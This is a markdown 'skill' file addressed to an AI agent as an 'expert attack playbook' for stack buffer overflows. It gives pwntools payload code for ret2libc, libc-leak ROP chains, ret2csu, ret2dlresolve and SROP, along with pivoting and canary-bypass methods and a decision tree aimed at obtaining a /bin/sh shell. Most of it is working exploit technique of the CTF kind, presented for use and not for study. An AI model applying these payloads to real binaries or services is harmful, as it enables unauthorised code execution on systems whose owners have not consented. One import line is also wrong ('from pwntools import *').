SKILL: Stack Overflow & ROP — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.

0. RELATED ROUTING

format-string-exploitation — leak canary/libc/PIE base via format string before triggering overflow
binary-protection-bypass — systematic bypass of NX, ASLR, PIE, canary, RELRO
arbitrary-write-to-rce — convert a write primitive (GOT, hooks, vtable) into code execution
heap-exploitation — when the vulnerability is in heap rather than stack

Advanced Reference

Load ROP_ADVANCED_TECHNIQUES.md when you need:

Blind ROP (BROP) methodology against remote services without binary
ret2vdso for ASLR bypass on 32-bit systems
Partial overwrite techniques for PIE bypass
JOP / COP alternative code-reuse paradigms

1. STACK LAYOUT FUNDAMENTALS

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← overwrite target (EIP/RIP control)
├─────────────────────┤
│   Saved EBP/RBP     │  ← overwrite for stack pivoting
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← buffer starts here
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address

Element	x86 (32-bit)	x86-64 (64-bit)
Return address size	4 bytes	8 bytes
Saved frame pointer	4 bytes (EBP)	8 bytes (RBP)
Canary size	4 bytes	8 bytes
Calling convention	args on stack	RDI, RSI, RDX, RCX, R8, R9 then stack
Syscall instruction	`int 0x80`	`syscall`

2. RETURN-TO-LIBC

When NX is enabled (stack not executable), redirect execution to libc functions.

Classic ret2libc (32-bit)

payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # fake return address for system()
payload += p32(binsh_addr)     # arg1: "/bin/sh"

ret2libc (64-bit) — Need Gadgets for Arguments

pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

Libc Base Leak Methods

Method	Technique	When
puts@plt(puts@GOT)	Leak resolved libc address	GOT already resolved, puts in PLT
write@plt(1, read@GOT, 8)	Leak via write syscall	write available
printf("%s", GOT_entry)	Leak via format string	printf controllable
Partial overwrite	Overwrite low bytes of return to reach leak gadget	PIE enabled, known last 12 bits

# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr)  # return to main for second payload

io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']

one_gadget — Single Gadget RCE

$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL

Constraints must be satisfied — check register/stack state before using.

3. ROP CHAIN CONSTRUCTION

Tool Comparison

Tool	Strength	Command
ROPgadget	Comprehensive search, chain generation	`ROPgadget --binary elf --ropchain`
ropper	Semantic search, JOP/COP support	`ropper -f elf --search "pop rdi"`
pwntools ROP	Automated chain building	`rop = ROP(elf); rop.call('system', ['/bin/sh'])`
xrop	Fast gadget search	`xrop -r elf`

Essential Gadget Patterns

Purpose	Gadget	Use Case
Set RDI (arg1)	`pop rdi; ret`	Most function calls
Set RSI (arg2)	`pop rsi; pop r15; ret`	Two-arg functions
Set RDX (arg3)	`pop rdx; ret` (rare)	Three-arg functions, use ret2csu
Syscall	`syscall; ret`	Direct syscall invocation
Stack pivot	`leave; ret`	Move RSP to controlled buffer
Align stack	`ret` (single ret gadget)	Fix 16-byte alignment for movaps

x86-64 stack alignment: system() and other libc functions use movaps which requires RSP % 16 == 0. Insert an extra ret gadget before the call if alignment is off.

4. ret2csu — Universal 3-Argument Control

__libc_csu_init exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.

; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; call target (function pointer address)
pop r13     ; arg3 (rdx)
pop r14     ; arg2 (rsi)
pop r15     ; arg1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again

Key constraints: r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set rbx=0, rbp=1 to skip the loop.

5. ret2dlresolve

Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., system) without a libc leak.

Attack Flow

Control execution to call _dl_runtime_resolve(link_map, reloc_offset)
Forge Elf_Rel at known writable address pointing to fake Elf_Sym
Forge Elf_Sym with st_name pointing to fake string "system\x00"
Set reloc_offset so resolver uses forged structures
Argument (/bin/sh) placed on stack or in known buffer

# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)

32-bit vs 64-bit Differences

Aspect	32-bit	64-bit
Relocation type	`Elf32_Rel` (8 bytes)	`Elf64_Rela` (24 bytes)
Symbol table entry	`Elf32_Sym` (16 bytes)	`Elf64_Sym` (24 bytes)
Alignment	Relaxed	Strict (must satisfy `ndx = (reloc_offset) / sizeof(Elf64_Rela)`, then `sym = symtab[ndx]`)
Version check	Usually skippable	`VERSYM[sym_index]` must be valid or 0

6. SROP — Sigreturn-Oriented Programming

Abuse the sigreturn syscall to set all registers at once from a fake Signal Frame on the stack.

from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # optional pivot

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)

When to use: limited gadgets, no pop rdx, static binary, or need to pivot stack to arbitrary address.

7. STACK PIVOTING

Move the stack pointer to an attacker-controlled buffer when overflow length is limited.

Technique	Gadget	Precondition
`leave; ret`	`mov rsp, rbp; pop rbp; ret`	Control saved RBP to point to fake stack
`xchg rsp, rax; ret`	Swap RSP with RAX	Control RAX (via gadget chain)
`pop rsp; ret`	Direct RSP control	Rare but powerful
SROP pivot	Set RSP in SigreturnFrame	Only need sigreturn gadget

leave;ret Pivot Pattern

Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  1st ret:   rip = leave_ret_addr
  2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
  2nd ret:   rip = *(buf+8) → start of ROP chain in buf

8. CANARY BYPASS

Technique	Condition	Method
Brute-force	`fork()` server (canary same in child)	Byte-by-byte (256 × 7 = 1792 attempts for 64-bit)
Format string leak	printf(user_input) available	`%N$p` to read canary from stack
Stack reading	One-byte overflow or partial read	Overwrite canary null byte, read via error/output
Thread canary	Overflow reaches TLS	Overwrite `stack_guard` in TLS (at `fs:[0x28]`) simultaneously
Information disclosure	Uninitialized stack variable leak	Canary included in leaked data

9. TOOLS QUICK REFERENCE

checksec ./binary                          # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain     # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi"      # Semantic gadget search
one_gadget ./libc.so.6                     # Find one-shot RCE gadgets
pwn template ./binary --host x --port y    # Generate pwntools exploit skeleton

10. DECISION TREE

Binary has stack overflow?
├── checksec: NX disabled?
│   └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│   └── NO (NX enabled) →
│       ├── Canary enabled?
│       │   ├── YES → fork() server? → brute-force canary
│       │   │         format string? → leak canary
│       │   │         info leak?     → read canary
│       │   └── NO → proceed to ROP
│       ├── ASLR/PIE enabled?
│       │   ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│       │   ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│       │   └── Neither → addresses known, direct ROP
│       ├── Can leak libc?
│       │   ├── YES → ret2libc (system/execve) or one_gadget
│       │   └── NO → ret2dlresolve (forge resolution) or SROP
│       ├── Need 3+ args but no pop rdx?
│       │   └── ret2csu or SROP
│       ├── Overflow too short for full chain?
│       │   └── Stack pivot (leave;ret, xchg rsp)
│       ├── Static binary (no libc)?
│       │   └── SROP + syscall chain (execve via sigreturn)
│       └── Full RELRO?
│           └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│               or _IO_FILE vtable (see ../arbitrary-write-to-rce/)

stack-overflow-and-rop